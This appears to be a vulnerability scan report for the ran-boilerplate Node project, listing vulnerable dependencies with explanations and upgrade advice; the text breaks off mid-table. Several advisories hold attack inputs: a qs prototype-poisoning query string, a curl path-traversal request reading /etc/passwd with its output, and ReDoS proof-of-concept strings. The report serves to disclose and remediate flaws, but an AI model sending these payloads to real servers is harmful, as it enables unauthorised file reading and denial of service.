This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade moment
to version 2.29.4 or higher.
References
high severity
- Vulnerable module: qs
- Introduced through: express@4.16.4
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › express@4.16.4 › qs@6.5.2Remediation: Upgrade to express@4.17.3.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › express@4.16.4 › body-parser@1.18.3 › qs@6.5.2Remediation: Upgrade to express@4.17.3.
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Prototype Poisoning which allows attackers to cause a Node process to hang, processing an Array object whose prototype has been replaced by one with an excessive length value.
Note: In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000
.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade qs
to version 6.2.4, 6.3.3, 6.4.1, 6.5.3, 6.6.1, 6.7.3, 6.8.3, 6.9.7, 6.10.3 or higher.
References
high severity
- Vulnerable module: ssri
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › uglifyjs-webpack-plugin@1.3.0 › cacache@10.0.4 › ssri@5.3.0Remediation: Upgrade to next@10.0.6.
Overview
ssri is a Standard Subresource Integrity library -- parses, serializes, generates, and verifies integrity metadata according to the SRI spec.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). ssri
processes SRIs using a regular expression which is vulnerable to a denial of service. Malicious SRIs could take an extremely long time to process, leading to denial of service. This issue only affects consumers using the strict option.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade ssri
to version 6.0.2, 7.1.1, 8.0.1 or higher.
References
high severity
- Vulnerable module: unset-value
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › anymatch@2.0.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack@4.20.2 › watchpack@1.7.5 › watchpack-chokidar2@2.0.1 › chokidar@2.1.8 › readdirp@2.2.1 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the unset
function in index.js
, because it allows access to object prototype properties.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade unset-value
to version 2.0.1 or higher.
References
high severity
- Vulnerable module: webpack-dev-middleware
- Introduced through: next@7.0.2
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › webpack-dev-middleware@3.4.0Remediation: Upgrade to next@9.3.4.
Overview
Affected versions of this package are vulnerable to Path Traversal due to insufficient validation of the supplied URL address before returning the local file. This issue allows accessing any file on the developer's machine. The middleware can operate with either the physical filesystem or a virtualized in-memory memfs
filesystem. When the writeToDisk
configuration option is set to true
, the physical filesystem is utilized. The getFilenameFromUrl
method parses the URL and constructs the local file path by stripping the public path prefix from the URL and appending the unescaped
path suffix to the outputPath
. Since the URL is not unescaped and normalized automatically before calling the middleware, it is possible to use %2e
and %2f
sequences to perform a path traversal attack.
Notes:
This vulnerability is exploitable without any specific configurations, allowing an attacker to access and exfiltrate content from any file on the developer's machine.
If the development server is exposed on a public IP address or
0.0.0.0
, an attacker on the local network can access the files without victim interaction.If the server permits access from third-party domains, a malicious link could lead to local file exfiltration when visited by the victim.
PoC
A blank project can be created containing the following configuration file webpack.config.js:
module.exports = { devServer: { devMiddleware: { writeToDisk: true } } };
When started, it is possible to access any local file, e.g. /etc/passwd:
$ curl localhost:8080/public/..%2f..%2f..%2f..%2f../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
Remediation
Upgrade webpack-dev-middleware
to version 5.3.4, 6.1.2, 7.1.0 or higher.
References
medium severity
- Vulnerable module: path-to-regexp
- Introduced through: express@4.16.4, next@7.0.2 and others
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › express@4.16.4 › path-to-regexp@0.1.7Remediation: Upgrade to express@4.20.0.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › path-to-regexp@2.1.0Remediation: Upgrade to next@8.0.0.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next-routes@1.4.2 › path-to-regexp@2.4.0
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when including multiple regular expression parameters in a single segment, which will produce the regular expression /^\/([^\/]+?)-([^\/]+?)\/?$/
, if two parameters within a single segment are separated by a character other than a /
or .
. Poor performance will block the event loop and can lead to a DoS.
Note:
While the 8.0.0 release has completely eliminated the vulnerable functionality, prior versions that have received the patch to mitigate backtracking may still be vulnerable if custom regular expressions are used. So it is strongly recommended for regular expression input to be controlled to avoid malicious performance degradation in those versions. This behavior is enforced as of version 7.1.0 via the strict
option, which returns an error if a dangerous regular expression is detected.
Workaround
This vulnerability can be avoided by using a custom regular expression for parameters after the first in a segment, which excludes -
and /
.
PoC
/a${'-a'.repeat(8_000)}/a
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade path-to-regexp
to version 0.1.10, 1.9.0, 3.3.0, 6.3.0, 8.0.0 or higher.
References
medium severity
new
- Vulnerable module: path-to-regexp
- Introduced through: express@4.16.4
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › express@4.16.4 › path-to-regexp@0.1.7Remediation: Upgrade to express@4.21.2.
Overview
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when including multiple regular expression parameters in a single segment, when the separator is not .
(e.g. no /:a-:b
). Poor performance will block the event loop and can lead to a DoS.
Note:
This issue is caused due to an incomplete fix for CVE-2024-45296.
Workarounds
This can be mitigated by avoiding using two parameters within a single path segment, when the separator is not .
(e.g. no /:a-:b
). Alternatively, the regex used for both parameters can be defined to ensure they do not overlap to allow backtracking.
PoC
/a${'-a'.repeat(8_000)}/a
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade path-to-regexp
to version 0.1.12 or higher.
References
medium severity
- Vulnerable module: helmet-csp
- Introduced through: helmet@3.15.0
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › helmet@3.15.0 › helmet-csp@2.7.1Remediation: Upgrade to helmet@3.21.1.
Overview
helmet-csp is a Content Security Policy that helps prevent unwanted content being injected into your webpages.
Affected versions of this package are vulnerable to Configuration Override affecting the application's Content Security Policy (CSP). It's browser sniffing for Firefox deletes the default-src
CSP policy, which is the fallback policy. This allows an attacker to remove an application's default CSP.
Remediation
Upgrade helmet-csp
to version 2.9.2 or higher.
References
medium severity
- Vulnerable module: ip
- Introduced through: ip@1.1.5
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › ip@1.1.5
Overview
ip is a Node library.
Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF) via the isPublic
function, which identifies some private IP addresses as public addresses due to improper parsing of the input.
An attacker can manipulate a system that uses isLoopback()
, isPrivate()
and isPublic
functions to guard outgoing network requests to treat certain IP addresses as globally routable by supplying specially crafted IP addresses.
Note
This vulnerability derived from an incomplete fix for CVE-2023-42282
Remediation
There is no fixed version for ip
.
References
medium severity
- Vulnerable module: node-fetch
- Introduced through: isomorphic-fetch@2.2.1 and react-apollo@2.3.3
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to isomorphic-fetch@3.0.0.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › react-apollo@2.3.3 › fbjs@1.0.0 › isomorphic-fetch@2.2.1 › node-fetch@1.7.3Remediation: Upgrade to react-apollo@2.5.0.
Overview
node-fetch is a light-weight module that brings window.fetch to node.js
Affected versions of this package are vulnerable to Information Exposure when fetching a remote url with Cookie, if it get a Location
response header, it will follow that url and try to fetch that url with provided cookie. This can lead to forwarding secure headers to 3th party.
Remediation
Upgrade node-fetch
to version 2.6.7, 3.1.1 or higher.
References
medium severity
- Vulnerable module: json5
- Introduced through: next@7.0.2 and offline-plugin@5.0.6
Detailed paths
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › @babel/core@7.0.0 › json5@0.5.1Remediation: Upgrade to next@9.0.0.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › loader-utils@1.1.0 › json5@0.5.1Remediation: Upgrade to next@9.0.0.
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › offline-plugin@5.0.6 › loader-utils@0.2.17 › json5@0.5.1
-
Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 › next@7.0.2 › styled-jsx@3.1.0 › loader-utils@1.1.0 › json5@0.5.1Remediation: Upgrade to next@8.0.0.
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the parse
method , which does not restrict parsing of keys named __proto__
, allowing specially crafted strings to pollute the prototype of the resulting object. This pollutes the prototype of the object returned by JSON5.parse
and not the global Object prototype (which is the commonly understood definition of Prototype Pollution). Therefore, the actual impact will depend on how applications utilize the returned object and how they filter unwanted keys.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
